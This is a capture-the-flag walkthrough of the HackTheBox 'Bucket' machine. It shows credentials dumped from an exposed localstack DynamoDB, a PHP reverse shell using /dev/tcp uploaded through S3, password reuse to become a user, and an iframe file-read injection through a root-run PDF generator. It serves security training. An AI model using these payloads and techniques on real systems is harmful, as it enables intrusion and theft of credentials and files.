HTB Bucket Walkthrough
A technical walkthrough of the Bucket challenge on HackTheBox.
Hello and welcome to another of my HackTheBox walkthroughs! Bucket is an interesting BOX with a difficult discovery of the privileges escalation for the root user.
The nmap scan:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-09 21:54 CEST
Nmap scan report for 10.10.10.212
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://bucket.htb/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.17 seconds
Now it is almost impossible not to start from the portal introduced in the BOX, it seems to be becoming a standard. Before starting, however, let's immediately introduce the bucket.htb domain visible in the nmap scan in the file /etc/host.
The portal is very sparse, with very few links and even wappalyzer does not seem to find anything particularly interesting, on the server and the operating system on which it is running.
However, some images are not reachable and by looking at the source another subdomain emerges.
By inserting the new domain in the /etc/hosts file, the images become visible, despite everything, still nothing particularly interesting.
I then proceed with a dirb session on the main domain, which, however, does not find anything interesting.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ dirb http://bucket.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Apr 9 22:07:54 2021
URL_BASE: http://bucket.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://bucket.htb/ ----
+ http://bucket.htb/index.html (CODE:200|SIZE:5344)
+ http://bucket.htb/server-status (CODE:403|SIZE:275)
-----------------
END_TIME: Fri Apr 9 22:19:20 2021
DOWNLOADED: 4612 - FOUND: 2
I proceed with the dirb also on the second portal and this time something comes out.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ dirb http://s3.bucket.htb/ 130 ⨯
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Apr 9 22:27:41 2021
URL_BASE: http://s3.bucket.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://s3.bucket.htb/ ----
+ http://s3.bucket.htb/health (CODE:200|SIZE:54)
+ http://s3.bucket.htb/server-status (CODE:403|SIZE:278)
+ http://s3.bucket.htb/shell (CODE:200|SIZE:0)
-----------------
END_TIME: Fri Apr 9 22:42:14 2021
DOWNLOADED: 4612 - FOUND: 3
The URL "http: //s3.bucket.htb/health" appears to be just a service health endpoint, but it tells me which service; it appears to be an Amazon cloud on-premises service (S3) with a dynamodb database instance.
{"services": {"s3": "running", "dynamodb": "running"}}
Browsing the second URL, however, a redirect is made to an Amazon URL (it would seem), which however is not reachable, probably due to an impossible DNS resolution (http://s3.bucket.htb/shell ==> http://444af250749d:4566/shell/). By making a curl, however, the response turns out to be a "200 OK", where the Amazon URL is returned as a redirect to be made (which the browser performs). I could think of redirecting this URL to the same BOX as well, but it could be a risk, considering that I don't know the Amazon cloud and I don't know exactly how these services should work specifically.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.212 - Bucket (lin)]
└─$ curl http://s3.bucket.htb/shell -v
* Trying 10.10.10.212:80...
* Connected to s3.bucket.htb (10.10.10.212) port 80 (#0)
> GET /shell HTTP/1.1
> Host: s3.bucket.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Fri, 09 Apr 2021 20:54:19 GMT
< Server: hypercorn-h11
< content-type: text/html; charset=utf-8
< content-length: 0
< refresh: 0; url=http://444af250749d:4566/shell/
< access-control-allow-origin: *
< access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< access-control-allow-headers: authorization,content-type,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging
< access-control-expose-headers: x-amz-version-id
<
* Connection #0 to host s3.bucket.htb left intact
In any case, looking up the address on google, I understand it is still an AWS local Cloud stack.
Keep this link in mind, it will be useful later to understand some behaviours of the Amazon Cloud Service.
As in almost all the largest clouds available today, provided by the largest service providers (Amazon, Microsoft, Google, etc ...), most of the activities take place through a CLI, from your machine to the cloud provider chosen.
So, if you don't have it, install the Amazon CLI and move on.
As I mentioned, I'm not very familiar with the Amazon cloud (I know Microsoft better... AZURE, but I think the basics and concepts are more or less the same), let alone the on-premises Amazon cloud; I therefore waste some time figuring out how to execute the commands correctly.
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables --profile localstack 2 ⨯
The config profile (localstack) could not be found
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables 255 ⨯
You must specify a region. You can also configure your region by running "aws configure".
I try to configure everything by default, but it doesn't seem to work anyway!
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure 255 ⨯
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]:
Default output format [None]:
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables 255 ⨯
You must specify a region. You can also configure your region by running "aws configure".
I then begin to study the aws configuration command...
...and I check which regions are available...
...and even if it is difficult for me to understand the concepts and constraints of the specific scenario (such as for example if I am bound to specify the region set in the local service and other aspects of this type), I begin to configure what is required by the message error of the command executed, with values that I consider adequately correct.
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure
AWS Access Key ID [None]:
AWS Secret Access Key [None]:
Default region name [None]: eu-south-1
Default output format [None]:
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://444af250749d:4566 dynamodb list-tables
Unable to locate credentials. You can configure credentials by running "aws configure".
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables 255 ⨯
Unable to locate credentials. You can configure credentials by running "aws configure".
All the commands are initially executed both on the Amazon address (444af250749d:4566) and on the local URL (s3.bucket.htb), not knowing exactly which will be the one that will answer me correctly.
New hitch, I think I will have to configure all the required parameters, but I am left with many doubts about the correct credentials to use.
I then configure the necessary settings with random values...
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure
AWS Access Key ID [None]: in7rud3r
AWS Secret Access Key [None]: in7rud3r
Default region name [eu-south-1]:
Default output format [None]:
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws configure list
Name Value Type Location
---- ----- ---- --------
profile <not set> None None
access_key ****************ud3r shared-credentials-file
secret_key ****************ud3r shared-credentials-file
region eu-south-1 config-file ~/.aws/config
...and finally something begins to show.
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
Ok, the next step is to understand how to query the tables of a dynamodb from the Amazon CLI.
┌──(in7rud3r㉿Mykali)-[~]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb describe-table --table-name users 255 ⨯
{
"Table": {
"AttributeDefinitions": [
{
"AttributeName": "username",
"AttributeType": "S"
},
{
"AttributeName": "password",
"AttributeType": "S"
}
],
"TableName": "users",
"KeySchema": [
{
"AttributeName": "username",
"KeyType": "HASH"
},
{
"AttributeName": "password",
"KeyType": "RANGE"
}
],
"TableStatus": "ACTIVE",
"CreationDateTime": 1618001165.436,
"ProvisionedThroughput": {
"LastIncreaseDateTime": 0.0,
"LastDecreaseDateTime": 0.0,
"NumberOfDecreasesToday": 0,
"ReadCapacityUnits": 5,
"WriteCapacityUnits": 5
},
"TableSizeBytes": 107,
"ItemCount": 3,
"TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/users"
}
}
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws --endpoint-url=http://s3.bucket.htb dynamodb scan --table-name users 255 ⨯
{
"Items": [
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
},
{
"password": {
"S": "Welcome123!"
},
"username": {
"S": "Cloudadm"
}
},
{
"password": {
"S": "n2vM-<_K_Q:.Aa2"
},
"username": {
"S": "Sysadm"
}
}
],
"Count": 3,
"ScannedCount": 3,
"ConsumedCapacity": null
}
Fantastic, we are starting to glimpse some credentials, we only hope that they can be useful to penetrate the perimeter of the BOX.
Unfortunately, none of the credentials found work on the available ssh of the BOX, but we do not get discouraged and we study if it is possible to use them for the on-premises Amazon Cloud service that is on this machine.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls --endpoint-url=http://s3.bucket.htb 255 ⨯
2021-04-10 11:10:04 adserver
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb
PRE images/
2021-04-10 11:12:04 5344 index.html
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver/images/ --endpoint-url=http://s3.bucket.htb
2021-04-10 11:14:04 37840 bug.jpg
2021-04-10 11:14:04 51485 cloud.png
2021-04-10 11:14:04 16486 malware.png
I therefore understand that in this instance, a bucket is running that contains the web service of the portal from which we started. Great, let's check if I have the permissions to update this portal.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 cp ./test.txt s3://adserver/ --endpoint-url=http://s3.bucket.htb 1 ⨯
upload: ./test.txt to s3://adserver/test.txt
It would seem so. It's running an Apache server, I wouldn't be surprised if I could execute a reverse shell through some php code; let's try.
Prepare the reverse shell:
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.254/4444 0>&1'");
?>
Upload all on the server:
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 cp ./rev-shell.php s3://adserver/ --endpoint-url=http://s3.bucket.htb
upload: ./rev-shell.php to s3://adserver/rev-shell.php
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/aws]
└─$ aws s3 ls s3://adserver --endpoint-url=http://s3.bucket.htb
PRE images/
2021-04-10 11:40:04 5344 index.html
2021-04-10 11:40:26 75 rev-shell.php
And activate the trap, after launch your listening on your machine: http://bucket.htb/rev-shell.php.
┌──(in7rud3r㉿Mykali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.254] from bucket.htb [10.10.10.212] 35708
whoami
www-data
And I'm in. Start to search.
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Sep 16 2020 .
drwxr-xr-x 21 root root 4096 Feb 10 12:49 ..
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 roy
ls -la /home/roy
total 28
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 .
drwxr-xr-x 3 root root 4096 Sep 16 2020 ..
lrwxrwxrwx 1 roy roy 9 Sep 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 roy roy 220 Sep 16 2020 .bash_logout
-rw-r--r-- 1 roy roy 3771 Sep 16 2020 .bashrc
-rw-r--r-- 1 roy roy 807 Sep 16 2020 .profile
drwxr-xr-x 3 roy roy 4096 Sep 24 2020 project
-r-------- 1 roy roy 33 Apr 9 20:44 user.txt
Obviously, I have no rights to read these files, but now, I finally have a user with whom to try the passwords found just before.
su roy
Management@#1@#
whoami
www-data
su roy
Welcome123!
whoami
www-data
su roy
n2vM-<_K_Q:.Aa2
whoami
roy
And here the user flag:
cat /home/roy/user.txt
7******************************a
Fortunately, the same credential is usable via ssh, so you won't need to proceed with the exploits used so far again.
Ok, at this point I spent a lot of time finding the next vulnerability that would allow me to elevate my privileges to root. I started from a linpeas(.sh) session; below are the points that I have analyzed and tried to exploit, but which have not given me a positive outcome.
[...]
[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31
[...]
[+] Searching ssl/ssh files
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
PasswordAuthentication yes
Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
--> Some certificates were found (out limited):
/var/lib/fwupd/pki/client.pem
/etc/pki/fwupd/LVFS-CA.pem
/etc/pki/fwupd-metadata/LVFS-CA.pem
/etc/pollinate/entropy.ubuntu.com.pem
[...]
[+] Searching Keyring files
Keyring folder: /usr/share/keyrings
[...]
[+] Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd
passwd file: /usr/share/bash-completion/completions/passwd
passwd file: /usr/share/lintian/overrides/passwd
[...]
[+] Checking if containerd(ctr) is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it
[+] Checking if runc is available
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it
[...]
════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 427K Mar 4 2019 /snap/core18/1988/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 427K Mar 4 2019 /snap/core18/1885/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59K Mar 22 2019 /snap/core18/1988/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K Mar 22 2019 /snap/core18/1988/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1988/usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1988/usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1988/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1988/bin/su
-rwsr-xr-x 1 root root 59K Mar 22 2019 /snap/core18/1885/usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K Mar 22 2019 /snap/core18/1885/usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1885/usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1885/usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /snap/core18/1885/usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /snap/core18/1885/bin/su
-rwsr-xr-x 1 root root 63K Jun 28 2019 /snap/core18/1988/bin/ping
-rwsr-xr-x 1 root root 63K Jun 28 2019 /snap/core18/1885/bin/ping
-rwsr-xr-x 1 root root 15K Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 23K Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 31K Aug 16 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 146K Jan 31 2020 /snap/core18/1885/usr/bin/sudo
--- It looks like /snap/core18/1885/usr/bin/sudo is using /proc/self/stat and you can modify it (strings line: /proc/self/stat) (https://tinyurl.com/suidpath)
[...]
[+] Finding *password* or *credential* files in home (limit 70)
/usr/lib/python3/dist-packages/docker/credentials
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-plymouth.service
/usr/lib/systemd/system/systemd-ask-password-wall.service
[...]
[+] Finding possible password variables inside key folders (limit 140)
/home/roy/project/vendor/aws/aws-sdk-php/src/AwsClient.php: * defaults to 31000; client_id: (string) An identifier for this project
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/Configuration.php: 'client_id' => $this->getClientId(),
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php: const DEFAULT_CLIENT_ID = '';
/home/roy/project/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php: const ENV_CLIENT_ID = 'AWS_CSM_CLIENT_ID';
/home/roy/project/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php: const ENV_KEY = 'AWS_ACCESS_KEY_ID';
/home/roy/project/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php: const ENV_SECRET = 'AWS_SECRET_ACCESS_KEY';
[...]
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php: const DEFAULT_CLIENT_ID = '';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/ClientSideMonitoring/ConfigurationProvider.php: const ENV_CLIENT_ID = 'AWS_CSM_CLIENT_ID';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php: const ENV_KEY = 'AWS_ACCESS_KEY_ID';
/var/www/bucket-app/vendor/aws/aws-sdk-php/src/Credentials/CredentialProvider.php: const ENV_SECRET = 'AWS_SECRET_ACCESS_KEY';
[...]
The situation was unlocked when, in the forum, I read someone suggesting to focus on the service running on the local port 8000 of the machine. I had already seen that service and query it (there was a simple http portal), but the answer seemed to be something like a site under construction, so I didn't give it importance, but apparently I was wrong. Another thing that I had left out for a later phase, given the huge of files it included, was a sort of web application (including sources) in the folder /var/www/bucket-app/. I hadn't found anything online, it didn't appear to be open-source or a system with known vulnerabilities, so I opted to analyze it later if I couldn't find anything else that would allow me to bypass this point. Putting these two things together, here's what came out.
The list of the open ports from the linpeas session:
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4566 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43909 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Querying the service:
roy@bucket:~$ curl http://localhost:8000
<!DOCTYPE html>
<html lang="en" >
<head>
[...]
</main>
<script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>
<script id="rendered-js" >
// ¯\_(ツ)_/¯ I told you that there was no JS
//# sourceURL=pen.js
</script>
</body>
</html>
And looking the source of the index.php on the app folder:
roy@bucket:~$ cat /var/www/bucket-app/index.php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
[...]
</main>
<script src="https://static.codepen.io/assets/common/stopExecutionOnTimeout-157cd5b220a5c80d4ff8e0e70ac069bffd87a61252088146915e8726e5d9f147.js"></script>
<script id="rendered-js" >
// ¯\_(ツ)_/¯ I told you that there was no JS
//# sourceURL=pen.js
</script>
</body>
</html>
<?php } ?>
It's clear that we are talking about the same file, so, analyze the code of the index, where I noticed a strange code at the beginning of the file.
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>
Apparently, the "under construction" page is returned if you request the page in GET, but things change if you make a request in POST. By inserting an "action" field with the string "get_alerts" in the request, an alternative php code is executed. This code connects to the dynamodb database already seen above and all the records in the "alerts" table that show the string "Ransomware" in the "title" field, are retrieved. For each of these records, an html file is generated with the payload contained in the "data" field. Subsequently, this URL is processed by a java binary which saves the generated page in pdf format in an app folder of the web portal.
Well, the idea of the final attack is to generate a page that contains the root flag (obviously the service must run as root), retrieve the pdf and read the code. Let's proceed.
If you remember, in the database, the only table available was that of the users, so you will need to create the table first.
Create the alerts table:
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/ft]
└─$ aws dynamodb create-table --endpoint-url http://s3.bucket.htb --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5
{
"TableDescription": {
"AttributeDefinitions": [
{
"AttributeName": "title",
"AttributeType": "S"
},
{
"AttributeName": "data",
"AttributeType": "S"
}
],
"TableName": "alerts",
"KeySchema": [
{
"AttributeName": "title",
"KeyType": "HASH"
},
{
"AttributeName": "data",
"KeyType": "RANGE"
}
],
"TableStatus": "ACTIVE",
"CreationDateTime": 1618139659.885,
"ProvisionedThroughput": {
"LastIncreaseDateTime": 0.0,
"LastDecreaseDateTime": 0.0,
"NumberOfDecreasesToday": 0,
"ReadCapacityUnits": 10,
"WriteCapacityUnits": 5
},
"TableSizeBytes": 0,
"ItemCount": 0,
"TableArn": "arn:aws:dynamodb:us-east-1:000000000000:table/alerts"
}
}
Insert the data in the table:
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.212 - Bucket (lin)/attack/ft]
└─$ aws dynamodb --endpoint-url http://s3.bucket.htb put-item --table-name alerts --item '{
"title": {"S": "Ransomware"},
"data": {"S": "<html><head></head><body><iframe src='/root/root.txt'></iframe></body></html>"}
}' --return-consumed-capacity TOTAL
{
"ConsumedCapacity": {
"TableName": "alerts",
"CapacityUnits": 1.0
}
}
Activate the exploit:
roy@bucket:~$ curl -X POST --data "action=get_alerts" http://localhost:8000/
roy@bucket:~$ ls -la /var/www/bucket-app/files/
total 12
drwxr-x---+ 2 root root 4096 Apr 11 11:20 .
drwxr-x---+ 4 root root 4096 Feb 10 12:29 ..
-rw-r--r-- 1 root root 1398 Apr 11 11:20 result.pdf
roy@bucket:~$ cp /var/www/bucket-app/files/result.pdf ./
Move the file on your machine and read with your preferred reader.
That's all folks, hope you enjoy this writeup, that you understand all my explanation on the various point of the penetration activity and I'm really grateful that you continue to read my articles. Stay tuned guys! See you on the next BOX. Bye!